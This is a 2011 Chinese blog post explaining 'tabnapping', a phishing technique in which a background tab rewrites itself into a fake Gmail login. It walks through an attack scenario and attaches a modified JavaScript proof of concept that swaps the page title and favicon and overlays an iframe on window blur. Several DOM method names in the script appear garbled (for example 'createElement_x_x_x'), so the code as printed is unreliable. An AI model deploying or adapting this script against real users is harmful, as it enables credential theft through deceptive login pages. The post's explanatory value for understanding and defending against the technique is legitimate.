加载中…
个人资料
sinrre
sinrre
  • 博客等级:
  • 博客积分:0
  • 博客访问:1,163
  • 关注人气:1
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
相关博文
推荐博文
谁看过这篇博文
加载中…
正文 字体大小:

谈一下新式钓鱼攻击-浏览器标签劫持

(2011-11-28 03:17:52)
标签:

hacker

网络安全

钓鱼攻击

脚本

黑客

it

分类:
                                                                                       作者:sinrre

    知道这种方式是在一个境外的Hacker论坛看到一篇帖子,大家在交流一种新的攻击方式,原理是利用 javascript 来侦测已开启的标签,然后将该页面修改成和原始网页长相一样的假页面,进行钓鱼攻击。

    论坛里把这种方式定义为 Tabnapping ,另外还公布了一个POC,下载到本地研究了下,是一个JS脚本,该脚本通过 window.onblur 事件来触发页面的修改,在修改页面内容的同时,还修改了页面上的 favicon 和 titile ,以达到深度的欺骗效果。

    这里举一个案例,如果某个攻击者想要利用该方式去获取某个目标的Gmail账号密码,那攻击者只需仿Gmail登陆窗口做一个钓鱼页面,然后在页面上多写一句话“您的会话已超时,请重新登陆”,当目标在Gmail里打开一封来自攻击者发的邮件时,目标对邮件里的链接产生兴趣,在一个新Tab上打开了攻击者制作的包含 Tabnapping (下面用TN表示)JS脚本的那个页面链接,目标看完这个Tab去看其他Tab的时候,被感染TN脚本的Tab标签就会自动在后台搜索目标是否已经打开Gmail,如果打开,那这个Tab就在攻击者设定的几秒钟内修改成那个钓鱼页面。当目标回头点开那个Tab时,发现有一个“会话已超时”的Gmail登陆页面,大意的目标会顺手输入他的账号密码进行登陆,在重定向到真实邮箱界面的同时,目标的账号密码已经被保存到了攻击者的服务器或邮箱里,之所以可以重定向登陆到真实的邮箱界面里,是因为目标已经在另外的Tab已经打开了一个Gmail,之前的COOKIES还是存活的。这样整个钓鱼过程就结束了。
    分析就到这里,过多的分析也是惘然,很多时候,攻击与防御都是思路上的碰撞。
    这里附一份修改后的POC样本(javascript):

-----------------------HOLD住的分割线-------------------------------------------
(function(){

var TIMER = null;
var HAS_SWITCHED = false;

// Events
window.onblur = function(){
TIMER = setTimeout(changeItUp, 5000);
parent.window.location.hash="https://mail.google.com";
}

window.onfocus = function(){
if(TIMER) clearTimeout(TIMER);
}

// Utils
function setTitle(text){ document.title = text; }

// This favicon object rewritten from:
// Favicon.js - Change favicon dynamically [http://ajaxify.com/run/favicon].
// Copyright (c) 2008 Michael Mahemoff. Icon updates only work in Firefox and Opera.

favicon = {
docHead: document.getElementsByTagName_r("head")[0],
set: function(url){
this.addLink(url);
},
addLink: function(iconURL) {
var link = document.createElement_x_x_x("link");
link.type = "image/x-icon";
link.rel = "shortcut icon";
link.href = iconURL;
this.removeLinkIfExists();
this.docHead.appendChild(link);
},

removeLinkIfExists: function() {
var links = this.docHead.getElementsByTagName_r("link");
for (var i=0; i<links.length; i++) {
var link = links[i];
if (link.type=="image/x-icon" && link.rel=="shortcut icon") {
this.docHead.removeChild(link);
return; // Assuming only one match at most.
}
}
},
get: function() {
var links = this.docHead.getElementsByTagName_r("link");
for (var i=0; i<links.length; i++) {
var link = links[i];
if (link.type=="image/x-icon" && link.rel=="shortcut icon") {
return link.href;
}
}
}
};


function createShield(){
div = document.createElement_x_x_x("div");
div.style.position = "fixed";
div.style.top = 0;
div.style.left = 0;
div.style.backgroundColor = "white";
div.style.width = "100%";
div.style.height = "100%";
div.style.textAlign = "center";
document.body.style.overflow = "hidden";
document.body.topMargin="0px";
document.body.innerHTML='';
img = document.createElement_x_x_x("iframe");
img.style.width = "100%";
img.style.height="1000px";
img.style.border="0px"
img.src = "http://www.baidu.com";
var oldTitle = document.title;
var oldFavicon = favicon.get() || "/favicon.ico";
div.appendChild(img);
document.body.appendChild(div);
img.onclick = function(){
div.parentNode.removeChild(div);
document.body.style.overflow = "auto";
setTitle(oldTitle);
favicon.set(oldFavicon)
}
}

function changeItUp(){
if( HAS_SWITCHED == false ){
createShield("https://mail.google.com");
setTitle( "Gmail: Email from Google");
favicon.set("https://mail.google.com/favicon.ico");
HAS_SWITCHED = true;
}
}
})();
-----------------------HOLD住的分割线-------------------------------------------

0

阅读 评论 收藏 转载 喜欢 打印举报/Report
  • 评论加载中,请稍候...
发评论

    发评论

    以上网友发言只代表其个人观点,不代表新浪网的观点或立场。

      

    新浪BLOG意见反馈留言板 电话:4000520066 提示音后按1键(按当地市话标准计费) 欢迎批评指正

    新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 会员注册 | 产品答疑

    新浪公司 版权所有